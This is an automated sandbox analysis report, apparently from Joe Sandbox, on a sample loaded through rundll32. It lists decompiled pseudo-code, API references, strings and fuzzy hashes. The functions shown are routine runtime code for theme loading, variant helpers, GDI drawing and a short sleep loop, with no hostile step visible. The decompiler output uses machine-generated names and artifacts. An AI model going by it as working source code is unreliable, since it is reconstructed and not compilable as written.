0x009f9ce7
0x009f9cd6
0x009f9cdb
0x009f9cdb
0x00000000
0x009f9cf1
0x00000000
0x009f9cc5
0x009f9ca0
0x009f9cad
0x00000000

Strings

MonitorFromWindow, xrefs: 009F9C9B

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: AddressProc
String ID: MonitorFromWindow
API String ID: 190572456-2842599566
Opcode ID: 744710a2a6aea99db1f899d48c666d8fabf43416c5e77c92389232660f0071a5
Instruction ID: 6ddad10e36a48905cbd214ffc0601bb8f129b638100aa78a9092f9f9cd006ee9
Opcode Fuzzy Hash: 744710a2a6aea99db1f899d48c666d8fabf43416c5e77c92389232660f0071a5
Instruction Fuzzy Hash: D4016D71A0421C6E8B10EB94AD81BFEB39CEB45314B548423FFA597241EB249A0287F5

Uniqueness

Uniqueness Score: -1.00%

Function 00A0047C Relevance: 6.0, APIs: 4, Instructions: 46
sleepCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00A0047C(void* __eax, void* __ebx, void* __edi, void* __esi) {
				char _v8;
				CHAR* _t20;
				long _t25;
				intOrPtr _t30;
				void* _t34;
				intOrPtr _t37;

				_push(0);
				_t34 = __eax;
				_push(_t37);
				_push(0xa004f9);
				_push( *[fs:eax]);
				 *[fs:eax] = _t37;
				E009FFEDC(__eax);
				_t25 = GetTickCount();
				do {
					Sleep(0);
				} while (GetTickCount() - _t25 <= 0x3e8);
				E009FFADC(_t34, _t25,  &_v8, 0, __edi, _t34);
				if(_v8 != 0) {
					_t20 = E009D46E8(_v8);
					WinHelpA( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t34 + 0x1c)))) + 0xc))(), _t20, 9, 0);
				}
				_pop(_t30);
				 *[fs:eax] = _t30;
				_push(0xa00500);
				return E009D4228( &_v8);
			}

0x00a0047f
0x00a00483
0x00a00487
0x00a00488
0x00a0048d
0x00a00490
0x00a00495
0x00a0049f
0x00a004a1
0x00a004a3
0x00a004af
0x00a004bd
0x00a004c6
0x00a004cf
0x00a004de
0x00a004de
0x00a004e5
0x00a004e8
0x00a004eb
0x00a004f8

APIs

Part of subcall function 009FFEDC: WinHelpA.USER32 ref: 009FFEEB

GetTickCount.KERNEL32 ref: 00A0049A
Sleep.KERNEL32(00000000,00000000,00A004F9,?,?,00000000,00000000,?,00A00472), ref: 00A004A3
GetTickCount.KERNEL32 ref: 00A004A8
WinHelpA.USER32 ref: 00A004DE

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: CountHelpTick$Sleep
String ID:
API String ID: 2438605093-0
Opcode ID: 2f91a7dd4e02749c8deaf2f02734662abc9a1e66dc4576aa1937dadc32456f84
Instruction ID: 9a7225179d56b48966ee250d24ae9bfa1617d26eb7cc25071b288766e4765570
Opcode Fuzzy Hash: 2f91a7dd4e02749c8deaf2f02734662abc9a1e66dc4576aa1937dadc32456f84
Instruction Fuzzy Hash: 23016235780208AFE311EB74DC52F6DB3A8EF89700F518572F500D76D2DB75AE018665

Uniqueness

Uniqueness Score: -1.00%

Function 009D8F90 Relevance: 6.0, APIs: 4, Instructions: 37
timefileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E009D8F90(void* __eax) {
				short _v6;
				short _v8;
				struct _FILETIME _v16;
				struct _WIN32_FIND_DATAA _v336;
				void* _t16;

				_t16 = FindFirstFileA(E009D46E8(__eax),  &_v336);
				if(_t16 == 0xffffffff) {
					L3:
					_v8 = 0xffffffff;
				} else {
					FindClose(_t16);
					if((_v336.dwFileAttributes & 0x00000010) != 0) {
						goto L3;
					} else {
						FileTimeToLocalFileTime( &(_v336.ftLastWriteTime),  &_v16);
						if(FileTimeToDosDateTime( &_v16,  &_v6,  &_v8) == 0) {
							goto L3;
						}
					}
				}
				return _v8;
			}

0x009d8fab
0x009d8fb3
0x009d8fe9
0x009d8fe9
0x009d8fb5
0x009d8fb6
0x009d8fc2
0x00000000
0x009d8fc4
0x009d8fcf
0x009d8fe7
0x00000000
0x00000000
0x009d8fe7
0x009d8fc2
0x009d8ff7

APIs

FindFirstFileA.KERNEL32(00000000,?), ref: 009D8FAB
FindClose.KERNEL32(00000000,00000000,?), ref: 009D8FB6
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 009D8FCF
FileTimeToDosDateTime.KERNEL32 ref: 009D8FE0

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: FileTime$Find$CloseDateFirstLocal
String ID:
API String ID: 2659516521-0
Opcode ID: 9f61c25bb551bc6150c669710fa06ffe61ab05e2590045b11eab567f278e58f4
Instruction ID: c305faf9bcfc6abcc2b447b04145cfbc30a9c76f640806d1eb06a66634860772
Opcode Fuzzy Hash: 9f61c25bb551bc6150c669710fa06ffe61ab05e2590045b11eab567f278e58f4
Instruction Fuzzy Hash: 82F0F47594020C66CB21EBF88C85ADFB3AC9B49314F5086A3B555D2292EB34DB044B90

Uniqueness

Uniqueness Score: -1.00%

Function 009FBDCC Relevance: 166.5, APIs: 48, Strings: 47, Instructions: 266
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E009FBDCC(void* __ebx, void* __ecx) {
				char _v5;
				intOrPtr _t2;
				intOrPtr _t6;
				intOrPtr _t108;
				intOrPtr _t111;

				_t2 =  *0xa9fa50; // 0xf70dc8
				E009FBBC4(_t2);
				_push(_t111);
				_push(0x9fc17f);
				_push( *[fs:eax]);
				 *[fs:eax] = _t111;
				 *0xa9fa4c =  *0xa9fa4c + 1;
				if( *0xa9fa48 == 0) {
					 *0xa9fa48 = LoadLibraryA("uxtheme.dll");
					if( *0xa9fa48 > 0) {
						 *0xa9f988 = GetProcAddress( *0xa9fa48, "OpenThemeData");
						 *0xa9f98c = GetProcAddress( *0xa9fa48, "CloseThemeData");
						 *0xa9f990 = GetProcAddress( *0xa9fa48, "DrawThemeBackground");
						 *0xa9f994 = GetProcAddress( *0xa9fa48, "DrawThemeText");
						 *0xa9f998 = GetProcAddress( *0xa9fa48, "GetThemeBackgroundContentRect");
						 *0xa9f99c = GetProcAddress( *0xa9fa48, "GetThemeBackgroundContentRect");
						 *0xa9f9a0 = GetProcAddress( *0xa9fa48, "GetThemePartSize");
						 *0xa9f9a4 = GetProcAddress( *0xa9fa48, "GetThemeTextExtent");
						 *0xa9f9a8 = GetProcAddress( *0xa9fa48, "GetThemeTextMetrics");
						 *0xa9f9ac = GetProcAddress( *0xa9fa48, "GetThemeBackgroundRegion");
						 *0xa9f9b0 = GetProcAddress( *0xa9fa48, "HitTestThemeBackground");
						 *0xa9f9b4 = GetProcAddress( *0xa9fa48, "DrawThemeEdge");
						 *0xa9f9b8 = GetProcAddress( *0xa9fa48, "DrawThemeIcon");
						 *0xa9f9bc = GetProcAddress( *0xa9fa48, "IsThemePartDefined");
						 *0xa9f9c0 = GetProcAddress( *0xa9fa48, "IsThemeBackgroundPartiallyTransparent");
						 *0xa9f9c4 = GetProcAddress( *0xa9fa48, "GetThemeColor");
						 *0xa9f9c8 = GetProcAddress( *0xa9fa48, "GetThemeMetric");
						 *0xa9f9cc = GetProcAddress( *0xa9fa48, "GetThemeString");
						 *0xa9f9d0 = GetProcAddress( *0xa9fa48, "GetThemeBool");
						 *0xa9f9d4 = GetProcAddress( *0xa9fa48, "GetThemeInt");
						 *0xa9f9d8 = GetProcAddress( *0xa9fa48, "GetThemeEnumValue");
						 *0xa9f9dc = GetProcAddress( *0xa9fa48, "GetThemePosition");
						 *0xa9f9e0 = GetProcAddress( *0xa9fa48, "GetThemeFont");
						 *0xa9f9e4 = GetProcAddress( *0xa9fa48, "GetThemeRect");
						 *0xa9f9e8 = GetProcAddress( *0xa9fa48, "GetThemeMargins");
						 *0xa9f9ec = GetProcAddress( *0xa9fa48, "GetThemeIntList");
						 *0xa9f9f0 = GetProcAddress( *0xa9fa48, "GetThemePropertyOrigin");
						 *0xa9f9f4 = GetProcAddress( *0xa9fa48, "SetWindowTheme");
						 *0xa9f9f8 = GetProcAddress( *0xa9fa48, "GetThemeFilename");
						 *0xa9f9fc = GetProcAddress( *0xa9fa48, "GetThemeSysColor");
						 *0xa9fa00 = GetProcAddress( *0xa9fa48, "GetThemeSysColorBrush");
						 *0xa9fa04 = GetProcAddress( *0xa9fa48, "GetThemeSysBool");
						 *0xa9fa08 = GetProcAddress( *0xa9fa48, "GetThemeSysSize");
						 *0xa9fa0c = GetProcAddress( *0xa9fa48, "GetThemeSysFont");
						 *0xa9fa10 = GetProcAddress( *0xa9fa48, "GetThemeSysString");
						 *0xa9fa14 = GetProcAddress( *0xa9fa48, "GetThemeSysInt");
						 *0xa9fa18 = GetProcAddress( *0xa9fa48, "IsThemeActive");
						 *0xa9fa1c = GetProcAddress( *0xa9fa48, "IsAppThemed");
						 *0xa9fa20 = GetProcAddress( *0xa9fa48, "GetWindowTheme");
						 *0xa9fa24 = GetProcAddress( *0xa9fa48, "EnableThemeDialogTexture");
						 *0xa9fa28 = GetProcAddress( *0xa9fa48, "IsThemeDialogTextureEnabled");
						 *0xa9fa2c = GetProcAddress( *0xa9fa48, "GetThemeAppProperties");
						 *0xa9fa30 = GetProcAddress( *0xa9fa48, "SetThemeAppProperties");
						 *0xa9fa34 = GetProcAddress( *0xa9fa48, "GetCurrentThemeName");
						 *0xa9fa38 = GetProcAddress( *0xa9fa48, "GetThemeDocumentationProperty");
						 *0xa9fa3c = GetProcAddress( *0xa9fa48, "DrawThemeParentBackground");
						 *0xa9fa40 = GetProcAddress( *0xa9fa48, "EnableTheming");
					}
				}
				_v5 =  *0xa9fa48 > 0;
				_pop(_t108);
				 *[fs:eax] = _t108;
				_push(0x9fc186);
				_t6 =  *0xa9fa50; // 0xf70dc8
				return E009FBBCC(_t6);
			}

0x009fbdd6
0x009fbddb
0x009fbde2
0x009fbde3
0x009fbde8
0x009fbdeb
0x009fbdee
0x009fbdf7
0x009fbe07
0x009fbe0c
0x009fbe1f
0x009fbe31
0x009fbe43
0x009fbe55
0x009fbe67
0x009fbe79
0x009fbe8b
0x009fbe9d
0x009fbeaf
0x009fbec1
0x009fbed3
0x009fbee5
0x009fbef7
0x009fbf09
0x009fbf1b
0x009fbf2d
0x009fbf3f
0x009fbf51
0x009fbf63
0x009fbf75
0x009fbf87
0x009fbf99
0x009fbfab
0x009fbfbd
0x009fbfcf
0x009fbfe1
0x009fbff3
0x009fc005
0x009fc017
0x009fc029
0x009fc03b
0x009fc04d
0x009fc05f
0x009fc071
0x009fc083
0x009fc095
0x009fc0a7
0x009fc0b9
0x009fc0cb
0x009fc0dd
0x009fc0ef
0x009fc101
0x009fc113
0x009fc125
0x009fc137
0x009fc149
0x009fc15b
0x009fc15b
0x009fbe0c
0x009fc163
0x009fc169
0x009fc16c
0x009fc16f
0x009fc174
0x009fc17e

APIs

LoadLibraryA.KERNEL32(uxtheme.dll,00000000,009FC17F), ref: 009FBE02
GetProcAddress.KERNEL32(00000000,OpenThemeData), ref: 009FBE1A
GetProcAddress.KERNEL32(00000000,CloseThemeData), ref: 009FBE2C
GetProcAddress.KERNEL32(00000000,DrawThemeBackground), ref: 009FBE3E
GetProcAddress.KERNEL32(00000000,DrawThemeText), ref: 009FBE50
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 009FBE62
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 009FBE74
GetProcAddress.KERNEL32(00000000,GetThemePartSize), ref: 009FBE86
GetProcAddress.KERNEL32(00000000,GetThemeTextExtent), ref: 009FBE98
GetProcAddress.KERNEL32(00000000,GetThemeTextMetrics), ref: 009FBEAA
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundRegion), ref: 009FBEBC
GetProcAddress.KERNEL32(00000000,HitTestThemeBackground), ref: 009FBECE
GetProcAddress.KERNEL32(00000000,DrawThemeEdge), ref: 009FBEE0
GetProcAddress.KERNEL32(00000000,DrawThemeIcon), ref: 009FBEF2
GetProcAddress.KERNEL32(00000000,IsThemePartDefined), ref: 009FBF04
GetProcAddress.KERNEL32(00000000,IsThemeBackgroundPartiallyTransparent), ref: 009FBF16
GetProcAddress.KERNEL32(00000000,GetThemeColor), ref: 009FBF28
GetProcAddress.KERNEL32(00000000,GetThemeMetric), ref: 009FBF3A
GetProcAddress.KERNEL32(00000000,GetThemeString), ref: 009FBF4C
GetProcAddress.KERNEL32(00000000,GetThemeBool), ref: 009FBF5E
GetProcAddress.KERNEL32(00000000,GetThemeInt), ref: 009FBF70
GetProcAddress.KERNEL32(00000000,GetThemeEnumValue), ref: 009FBF82
GetProcAddress.KERNEL32(00000000,GetThemePosition), ref: 009FBF94
GetProcAddress.KERNEL32(00000000,GetThemeFont), ref: 009FBFA6
GetProcAddress.KERNEL32(00000000,GetThemeRect), ref: 009FBFB8
GetProcAddress.KERNEL32(00000000,GetThemeMargins), ref: 009FBFCA
GetProcAddress.KERNEL32(00000000,GetThemeIntList), ref: 009FBFDC
GetProcAddress.KERNEL32(00000000,GetThemePropertyOrigin), ref: 009FBFEE
GetProcAddress.KERNEL32(00000000,SetWindowTheme), ref: 009FC000
GetProcAddress.KERNEL32(00000000,GetThemeFilename), ref: 009FC012
GetProcAddress.KERNEL32(00000000,GetThemeSysColor), ref: 009FC024
GetProcAddress.KERNEL32(00000000,GetThemeSysColorBrush), ref: 009FC036
GetProcAddress.KERNEL32(00000000,GetThemeSysBool), ref: 009FC048
GetProcAddress.KERNEL32(00000000,GetThemeSysSize), ref: 009FC05A
GetProcAddress.KERNEL32(00000000,GetThemeSysFont), ref: 009FC06C
GetProcAddress.KERNEL32(00000000,GetThemeSysString), ref: 009FC07E
GetProcAddress.KERNEL32(00000000,GetThemeSysInt), ref: 009FC090
GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 009FC0A2
GetProcAddress.KERNEL32(00000000,IsAppThemed), ref: 009FC0B4
GetProcAddress.KERNEL32(00000000,GetWindowTheme), ref: 009FC0C6
GetProcAddress.KERNEL32(00000000,EnableThemeDialogTexture), ref: 009FC0D8
GetProcAddress.KERNEL32(00000000,IsThemeDialogTextureEnabled), ref: 009FC0EA
GetProcAddress.KERNEL32(00000000,GetThemeAppProperties), ref: 009FC0FC
GetProcAddress.KERNEL32(00000000,SetThemeAppProperties), ref: 009FC10E
GetProcAddress.KERNEL32(00000000,GetCurrentThemeName), ref: 009FC120
GetProcAddress.KERNEL32(00000000,GetThemeDocumentationProperty), ref: 009FC132
GetProcAddress.KERNEL32(00000000,DrawThemeParentBackground), ref: 009FC144
GetProcAddress.KERNEL32(00000000,EnableTheming), ref: 009FC156

Strings

CloseThemeData, xrefs: 009FBE24
GetThemeFilename, xrefs: 009FC00A
GetThemePartSize, xrefs: 009FBE7E
GetCurrentThemeName, xrefs: 009FC118
DrawThemeIcon, xrefs: 009FBEEA
GetThemeInt, xrefs: 009FBF68
HitTestThemeBackground, xrefs: 009FBEC6
uxtheme.dll, xrefs: 009FBDFD
EnableTheming, xrefs: 009FC14E
IsThemeBackgroundPartiallyTransparent, xrefs: 009FBF0E
GetThemeMetric, xrefs: 009FBF32
GetThemeSysSize, xrefs: 009FC052
GetThemeString, xrefs: 009FBF44
SetWindowTheme, xrefs: 009FBFF8
GetThemeEnumValue, xrefs: 009FBF7A
IsAppThemed, xrefs: 009FC0AC
GetThemeRect, xrefs: 009FBFB0
GetThemeBool, xrefs: 009FBF56
GetThemeIntList, xrefs: 009FBFD4
GetThemeSysInt, xrefs: 009FC088
GetThemeSysString, xrefs: 009FC076
GetThemePosition, xrefs: 009FBF8C
GetThemeColor, xrefs: 009FBF20
GetThemeBackgroundContentRect, xrefs: 009FBE5A, 009FBE6C
EnableThemeDialogTexture, xrefs: 009FC0D0
GetThemeSysColorBrush, xrefs: 009FC02E
GetThemeTextExtent, xrefs: 009FBE90
GetThemeDocumentationProperty, xrefs: 009FC12A
DrawThemeBackground, xrefs: 009FBE36
GetThemeMargins, xrefs: 009FBFC2
GetThemeAppProperties, xrefs: 009FC0F4
GetThemeSysBool, xrefs: 009FC040
GetThemeBackgroundRegion, xrefs: 009FBEB4
IsThemeDialogTextureEnabled, xrefs: 009FC0E2
SetThemeAppProperties, xrefs: 009FC106
IsThemeActive, xrefs: 009FC09A
GetThemeFont, xrefs: 009FBF9E
GetThemePropertyOrigin, xrefs: 009FBFE6
DrawThemeText, xrefs: 009FBE48
DrawThemeEdge, xrefs: 009FBED8
GetThemeTextMetrics, xrefs: 009FBEA2
OpenThemeData, xrefs: 009FBE12
IsThemePartDefined, xrefs: 009FBEFC
GetThemeSysColor, xrefs: 009FC01C
GetThemeSysFont, xrefs: 009FC064
GetWindowTheme, xrefs: 009FC0BE
DrawThemeParentBackground, xrefs: 009FC13C

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: CloseThemeData$DrawThemeBackground$DrawThemeEdge$DrawThemeIcon$DrawThemeParentBackground$DrawThemeText$EnableThemeDialogTexture$EnableTheming$GetCurrentThemeName$GetThemeAppProperties$GetThemeBackgroundContentRect$GetThemeBackgroundRegion$GetThemeBool$GetThemeColor$GetThemeDocumentationProperty$GetThemeEnumValue$GetThemeFilename$GetThemeFont$GetThemeInt$GetThemeIntList$GetThemeMargins$GetThemeMetric$GetThemePartSize$GetThemePosition$GetThemePropertyOrigin$GetThemeRect$GetThemeString$GetThemeSysBool$GetThemeSysColor$GetThemeSysColorBrush$GetThemeSysFont$GetThemeSysInt$GetThemeSysSize$GetThemeSysString$GetThemeTextExtent$GetThemeTextMetrics$GetWindowTheme$HitTestThemeBackground$IsAppThemed$IsThemeActive$IsThemeBackgroundPartiallyTransparent$IsThemeDialogTextureEnabled$IsThemePartDefined$OpenThemeData$SetThemeAppProperties$SetWindowTheme$uxtheme.dll
API String ID: 2238633743-2910565190
Opcode ID: e731e6946666fc4beb02e40d007a02517b4b220bbd28e9737f6a5fbc8c2daacd
Instruction ID: 5c1ed095f872f99d59cde57708d5559f4e2030a944fc53f09d3e3d3774ce128b
Opcode Fuzzy Hash: e731e6946666fc4beb02e40d007a02517b4b220bbd28e9737f6a5fbc8c2daacd
Instruction Fuzzy Hash: B7A1F6F0B81658AFDB00EBF4ED86A3937A8EB867043148577B508CF695DBB9D8018B15

Uniqueness

Uniqueness Score: -1.00%

Function 009DE7C4 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E009DE7C4() {
				struct HINSTANCE__* _v8;
				intOrPtr _t46;
				void* _t91;

				_v8 = GetModuleHandleA("oleaut32.dll");
				 *0xa9f7a8 = E009DE798("VariantChangeTypeEx", E009DE314, _t91);
				 *0xa9f7ac = E009DE798("VarNeg", E009DE344, _t91);
				 *0xa9f7b0 = E009DE798("VarNot", E009DE344, _t91);
				 *0xa9f7b4 = E009DE798("VarAdd", E009DE350, _t91);
				 *0xa9f7b8 = E009DE798("VarSub", E009DE350, _t91);
				 *0xa9f7bc = E009DE798("VarMul", E009DE350, _t91);
				 *0xa9f7c0 = E009DE798("VarDiv", E009DE350, _t91);
				 *0xa9f7c4 = E009DE798("VarIdiv", E009DE350, _t91);
				 *0xa9f7c8 = E009DE798("VarMod", E009DE350, _t91);
				 *0xa9f7cc = E009DE798("VarAnd", E009DE350, _t91);
				 *0xa9f7d0 = E009DE798("VarOr", E009DE350, _t91);
				 *0xa9f7d4 = E009DE798("VarXor", E009DE350, _t91);
				 *0xa9f7d8 = E009DE798("VarCmp", E009DE35C, _t91);
				 *0xa9f7dc = E009DE798("VarI4FromStr", E009DE368, _t91);
				 *0xa9f7e0 = E009DE798("VarR4FromStr", E009DE3D4, _t91);
				 *0xa9f7e4 = E009DE798("VarR8FromStr", E009DE440, _t91);
				 *0xa9f7e8 = E009DE798("VarDateFromStr", E009DE4AC, _t91);
				 *0xa9f7ec = E009DE798("VarCyFromStr", E009DE518, _t91);
				 *0xa9f7f0 = E009DE798("VarBoolFromStr", E009DE584, _t91);
				 *0xa9f7f4 = E009DE798("VarBstrFromCy", E009DE604, _t91);
				 *0xa9f7f8 = E009DE798("VarBstrFromDate", E009DE674, _t91);
				_t46 = E009DE798("VarBstrFromBool", E009DE6E4, _t91);
				 *0xa9f7fc = _t46;
				return _t46;
			}

0x009de7d2
0x009de7e6
0x009de7fc
0x009de812
0x009de828
0x009de83e
0x009de854
0x009de86a
0x009de880
0x009de896
0x009de8ac
0x009de8c2
0x009de8d8
0x009de8ee
0x009de904
0x009de91a
0x009de930
0x009de946
0x009de95c
0x009de972
0x009de988
0x009de99e
0x009de9ae
0x009de9b4
0x009de9bb

APIs

GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 009DE7CD

Part of subcall function 009DE798: GetProcAddress.KERNEL32(00000000), ref: 009DE7B1

Strings

VarMul, xrefs: 009DE849
VarR4FromStr, xrefs: 009DE90F
VariantChangeTypeEx, xrefs: 009DE7DB
VarCyFromStr, xrefs: 009DE951
oleaut32.dll, xrefs: 009DE7C8
VarDateFromStr, xrefs: 009DE93B
VarXor, xrefs: 009DE8CD
VarNot, xrefs: 009DE807
VarBstrFromBool, xrefs: 009DE9A9
VarBstrFromDate, xrefs: 009DE993
VarBoolFromStr, xrefs: 009DE967
VarBstrFromCy, xrefs: 009DE97D
VarIdiv, xrefs: 009DE875
VarCmp, xrefs: 009DE8E3
VarSub, xrefs: 009DE833
VarOr, xrefs: 009DE8B7
VarDiv, xrefs: 009DE85F
VarR8FromStr, xrefs: 009DE925
VarNeg, xrefs: 009DE7F1
VarMod, xrefs: 009DE88B
VarAdd, xrefs: 009DE81D
VarAnd, xrefs: 009DE8A1
VarI4FromStr, xrefs: 009DE8F9

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: 2a758199a2a352882bf225bc6c833709c1513a990e764d79297f2f1763742f1b
Instruction ID: 61a36236e0ba2a7c55605a7d73dc3e2cb818d8804df25699f668ff59b668fc11
Opcode Fuzzy Hash: 2a758199a2a352882bf225bc6c833709c1513a990e764d79297f2f1763742f1b
Instruction Fuzzy Hash: B8418F716C43195BB7A4BFED688156ABBDDEB847103A0C43BF409CF759DD20A8428A29

Uniqueness

Uniqueness Score: -1.00%

Function 009F5628 Relevance: 37.7, APIs: 25, Instructions: 248
windowCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E009F5628(struct HDC__* __eax, void* __ebx, int __ecx, int __edx, void* __edi, void* __esi, int _a4, int _a8, struct HDC__* _a12, int _a16, int _a20, int _a24, int _a28, struct HDC__* _a32, int _a36, int _a40) {
				int _v8;
				int _v12;
				char _v13;
				struct HDC__* _v20;
				void* _v24;
				void* _v28;
				long _v32;
				long _v36;
				struct HPALETTE__* _v40;
				intOrPtr* _t78;
				struct HPALETTE__* _t89;
				struct HPALETTE__* _t95;
				int _t171;
				intOrPtr _t178;
				intOrPtr _t180;
				struct HDC__* _t182;
				int _t184;
				void* _t186;
				void* _t187;
				intOrPtr _t188;

				_t186 = _t187;
				_t188 = _t187 + 0xffffffdc;
				_v12 = __ecx;
				_v8 = __edx;
				_t182 = __eax;
				_t184 = _a16;
				_t171 = _a20;
				_v13 = 1;
				_t78 =  *0xa9e62c; // 0xa9c0d4
				if( *_t78 != 2 || _t171 != _a40 || _t184 != _a36) {
					_v40 = 0;
					_v20 = E009F5484(CreateCompatibleDC(0));
					_push(_t186);
					_push(0x9f58a8);
					_push( *[fs:eax]);
					 *[fs:eax] = _t188;
					_v24 = E009F5484(CreateCompatibleBitmap(_a32, _t171, _t184));
					_v28 = SelectObject(_v20, _v24);
					_t89 =  *0xa9f894; // 0x840808f0
					_v40 = SelectPalette(_a32, _t89, 0);
					SelectPalette(_a32, _v40, 0);
					if(_v40 == 0) {
						_t95 =  *0xa9f894; // 0x840808f0
						_v40 = SelectPalette(_v20, _t95, 0xffffffff);
					} else {
						_v40 = SelectPalette(_v20, _v40, 0xffffffff);
					}
					RealizePalette(_v20);
					StretchBlt(_v20, 0, 0, _t171, _t184, _a12, _a8, _a4, _t171, _t184, 0xcc0020);
					StretchBlt(_v20, 0, 0, _t171, _t184, _a32, _a28, _a24, _t171, _t184, 0x440328);
					_v32 = SetTextColor(_t182, 0);
					_v36 = SetBkColor(_t182, 0xffffff);
					StretchBlt(_t182, _v8, _v12, _a40, _a36, _a12, _a8, _a4, _t171, _t184, 0x8800c6);
					StretchBlt(_t182, _v8, _v12, _a40, _a36, _v20, 0, 0, _t171, _t184, 0x660046);
					SetTextColor(_t182, _v32);
					SetBkColor(_t182, _v36);
					if(_v28 != 0) {
						SelectObject(_v20, _v28);
					}
					DeleteObject(_v24);
					_pop(_t178);
					 *[fs:eax] = _t178;
					_push(0x9f58af);
					if(_v40 != 0) {
						SelectPalette(_v20, _v40, 0);
					}
					return DeleteDC(_v20);
				} else {
					_v24 = E009F5484(CreateCompatibleBitmap(_a32, 1, 1));
					_v24 = SelectObject(_a12, _v24);
					_push(_t186);
					_push(0x9f56fb);
					_push( *[fs:eax]);
					 *[fs:eax] = _t188;
					MaskBlt(_t182, _v8, _v12, _a40, _a36, _a32, _a28, _a24, _v24, _a8, _a4, E009D7590(0xaa0029, 0xcc0020));
					_pop(_t180);
					 *[fs:eax] = _t180;
					_push(0x9f58af);
					_v24 = SelectObject(_a12, _v24);
					return DeleteObject(_v24);
				}
			}

0x009f5629
0x009f562b
0x009f5631
0x009f5634
0x009f5637
0x009f5639
0x009f563c
0x009f563f
0x009f5643
0x009f564b
0x009f5704
0x009f5713
0x009f5718
0x009f5719
0x009f571e
0x009f5721
0x009f5734
0x009f5744
0x009f5749
0x009f5758
0x009f5765
0x009f576e
0x009f5786
0x009f5795
0x009f5770
0x009f577f
0x009f577f
0x009f579c
0x009f57be
0x009f57e0
0x009f57ed
0x009f57fb
0x009f5822
0x009f5847
0x009f5851
0x009f585b
0x009f5864
0x009f586e
0x009f586e
0x009f5877
0x009f587e
0x009f5881
0x009f5884
0x009f588d
0x009f5899
0x009f5899
0x009f58a7
0x009f5663
0x009f5675
0x009f5685
0x009f568a
0x009f568b
0x009f5690
0x009f5693
0x009f56cf
0x009f56d6
0x009f56d9
0x009f56dc
0x009f56ee
0x009f56fa
0x009f56fa

APIs

CreateCompatibleBitmap.GDI32(?,00000001,00000001), ref: 009F566B
SelectObject.GDI32(?,?), ref: 009F5680
MaskBlt.GDI32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,009F56FB,?,?), ref: 009F56CF
SelectObject.GDI32(?,?), ref: 009F56E9
DeleteObject.GDI32(?), ref: 009F56F5
CreateCompatibleDC.GDI32(00000000), ref: 009F5709
CreateCompatibleBitmap.GDI32(?,?,?), ref: 009F572A
SelectObject.GDI32(?,?), ref: 009F573F
SelectPalette.GDI32(?,840808F0,00000000), ref: 009F5753
SelectPalette.GDI32(?,?,00000000), ref: 009F5765
SelectPalette.GDI32(?,00000000,000000FF), ref: 009F577A
SelectPalette.GDI32(?,840808F0,000000FF), ref: 009F5790
